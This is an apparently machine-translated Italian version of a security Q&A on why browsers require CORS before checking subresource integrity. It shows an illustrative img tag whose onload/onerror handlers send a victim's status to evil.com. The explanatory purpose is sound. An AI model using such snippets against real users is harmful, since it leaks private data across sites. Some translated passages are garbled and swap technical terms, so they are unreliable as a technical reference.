L'attacco

Penso che l'attacco che stanno cercando di proteggere sia il seguente.

Immagina santaclause.com serve un'immagine a santaclause.com/naughty_or_nice.png agli utenti registrati. L'immagine è un segno di spunta verde se l'utente che ha effettuato l'accesso è carino e una X rossa se è stata cattiva. Mallory vuole sapere se Alice è stata gentile o no. Quindi su evil.com imposta su una pagina quanto segue e invia il link ad Alice, che lo fa clic.

<img src="santaclause.com/naughty_or_nice.png"
     integrity="sha256-{hash of nice image}"
     onload="document.location='http://evil.com?log=nice';"
     onerror="document.location='http://evil.com?log=naughty';"
>

Quando Alice visualizza la pagina, il browser invierà i cookie di sessione a santaclause.com , che risponderà con la bella immagine se è stata carina. L'evento onload scatterà e Mallory registra che è stata carina su evil.com . D'altra parte, se è stata cattiva, il controllo di integrità fallirà e Mallory quindi sa che Alice è stata cattiva.

A causa delle specifiche, questo attacco fallirà. Poiché santaclause.com non ha "concesso esplicitamente l'accesso all'origine di caricamento tramite CORS", il browser non eseguirà il controllo di integrità e caricherà l'immagine anche se l'hash è errato, quindi attiva sempre l'evento onload e mai onerror evento.

Senza questo dettaglio nelle specifiche, un utente malintenzionato potrebbe ottenere la possibilità di effettuare richieste di origine incrociata con le credenziali della vittima e ottenere risposte a domande del tipo "Era questa la risposta?". Anche se non è così male come essere in grado di leggere solo la risposta, consente comunque all'aggressore di forzare la forza della risposta, se proviene da un insieme abbastanza piccolo di valori possibili.

Perché non è privo di senso

My reading of "read data cross-origin by brute-forcing values" suggests it's an attack against the server.

Direi che quanto sopra è un attacco all'utente, non al server (anche se ovviamente il server è coinvolto).

A non-browser user agent can always fetch from a server without CORS.

Sì, ma come fa Mallory ingannare Alice nel seguire il link in un agente utente non del browser?

I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

Se incorpori informazioni sensibili in JS o CSS senza protezione CSRF, la esporrai agli attacchi di origine incrociata, sì. Le specifiche non hanno mai preteso di proteggere contro questo.

Tuttavia, hanno affermato di proteggere dagli stessi in immagini o JSON, e quindi devono cercare di continuare a farlo anche quando vengono aggiunte nuove funzionalità.

[...] that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

Come SilverlightFox sottolinea in la sua risposta , anche le richieste anonime possono restituire informazioni sensibili, ad es. se IP viene utilizzato per restituire contenuti diversi a utenti diversi. Pertanto, i siti non dovrebbero essere autorizzati a leggere i risultati delle richieste interdominio anche se non contengono intestazioni di autenticazione.

[...]then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Sì, un sito può dedurre informazioni sul contenuto delle richieste di origine incrociata per fogli di stile e JavaScript (questo è il motivo per cui JSONP funziona, tra l'altro). Questo è ben noto e le specifiche non hanno mai preteso di proteggerlo.

Se si espande questo aspetto per consentire la verifica dell'integrità per qualsiasi richiesta di origine incrociata, si espande tale capacità per lavorare su tutti i tipi di risorse: JSON, XML, immagini ecc. e non solo JS e CSS.

Perché? Perché dedurre qualsiasi informazione sul contenuto di un file JS che deve effettivamente eseguire, quindi deve essere JS. Se includi per es. un file XML in un tag di script tutto ciò che ottieni è un errore di sintassi. Ma potresti facilmente includere un file XML con un tag script, assegnargli un attributo di integrità e poi apprenderne il contenuto controllando se carica o meno.

What attacks are mitigated by requiring CORS for subresource integrity verification?

La Stessa politica di origine è la pietra angolare del modello di sicurezza del web lato client attraverso l'isolamento di dati utente. Come già sai, CORS rilassa le restrizioni SOP predefinite. Senza attenuare queste restrizioni, il sito di origine non ha il diritto di ispezionare le risposte, inclusa l'integrità di una risorsa tramite l'attributo integrity .

Richiedere al CORS attenua gli attacchi che potrebbero esporre la privacy dei dati dell'utente. per esempio. un file JavaScript contiene l'indirizzo email dell'utente che ha effettuato l'accesso:

email = "[email protected]";

Senza il sito esterno che consente esplicitamente di verificare l'integrità significherebbe che il qualsiasi sito su Internet potrebbe forzare l'indirizzo e-mail eseguendo un elenco di indirizzi e-mail attraverso l'algoritmo di hash (insieme al resto del file JavaScript) per vedere quando ottiene una corrispondenza. Questo è ciò che si intende per forza bruta nelle specifiche.

Sugli altri punti:

A non-browser user agent can always fetch from a server without CORS.

Gli attacchi dal lato client richiedono sempre che il browser della vittima faccia la sua parte perché fornirà i cookie in una richiesta credenziale o se viene utilizzato un altro tipo di meccanismo di autenticazione (es. IP), quindi fornirà l'IP della vittima in un richiesta non credenziale. L'attaccante non è colui che sceglie l'agente utente, quindi portare i non-browser nell'equazione è un punto controverso.

I don't see how adding hash verification presents a new threat that CORS mitigates when unverified cross-origin CSS and JavaScript retrieval predate CORS and must be supported for legacy compatibility.

Questo non è corretto. Nulla di legacy consente la lettura di risorse esterne tramite codice. Sì, il browser stesso può utilizzare JS e CSS esterni al sito di livello superiore, tuttavia questa non è considerata una richiesta CORS perché lo script dell'origine non sta leggendo la risposta: è solo il browser stesso per il rendering e per l'esecuzione di qualsiasi script.

Nel mio esempio precedente, non ci sarebbe stato modo per il sito di origine richiedente di leggere il codice letterale email = "[email protected]"; , anche prima che l'integrità di subresource si verificasse. Se la variabile email era in una chiusura , non sarebbe nemmeno ricercabile da JavaScript sul sito di origine.

EDIT: While @Anders answered the rationale for using it with credentialed requests (ie. requests with session cookies or similar), that doesn't explain why crossorigin="anonymous" is acceptable for doing integrity checks on and , but omitting the crossorigin attribute altogether is not.

Ricorda, ci sono due valori possibili per il crossorigin:

• crossorigin="anonymous"
• crossorigin="use-credentials"

Poiché CORS è richiesto sull'origine esterna, ha senso specificare quello previsto nell'origine corrente.

If the attack involves using onload or onerror to extract one bit of information based on whether the subresource matches a hash, then doing it with crossorigin="anonymous" is a class of attacks that are already possible for CSS and JavaScript subresources by setting an onload on an SRI-free subresource and then examining whether they have modified the DOM or its rendering.

Sì, puoi comunque esaminare gli effetti di un CSS o di un JavaScript esterno, con o senza CORS, poiché la risorsa si applica nel contesto del tuo sito corrente. Tuttavia, non è possibile visualizzare il codice sorgente effettivo da una richiesta di origine incrociata. L'abilitazione di CORS lo consente, poiché la risorsa CSS o JavaScript potrebbe quindi essere richiesta anche tramite XHR, anziché un tag <script> o <link> .

Uno di questi scenari che non richiede credenziali è se si immagina un modello di autenticazione che non utilizza cookie, un'intestazione di autenticazione o certificati. L'indirizzo IP remoto è un ottimo esempio.

Se il% co_de di Anders ha restituito se l'utente era buono o cattivo in base all'indirizzo IP anziché alle credenziali di accesso, allora naughty_or_nice.png andrebbe bene e l'integrità della risorsa potrebbe essere verificata se crossorigin="anonymous" output santaclause.com appropriatamente.

Altrimenti deve essere Access-Control-Allow-Origin e crossorigin="use-credentials" deve produrre santaclause.com così come l'intestazione ACAO.

Nel primo esempio, il sito remoto può ancora controllare la sicurezza. Può ancora esaminare l'intestazione della richiesta Access-Control-Allow-Credentials: true e consentire o negare la richiesta con la sua intestazione CORS. Nel secondo, ha solo bisogno di applicare le sue regole di autorizzazione normalmente.

Quindi, per riassumere, è necessario il tag Origin in modo che venga inviata l'intestazione CORS corretta ( crossorigin ) e se il sito esterno consente (tramite CORS), il tag Origin consente al browser di esaminare il risposta per conto del sito di origine.

Cioè:

• integrity = Invio, e mi aspetto ACAO o ACAO e ACAC in risposta.
• crossorigin = Sto ricevendo, e controllerò l'hash dall'origine esterna se le intestazioni sopra menzionate sono state restituite correttamente.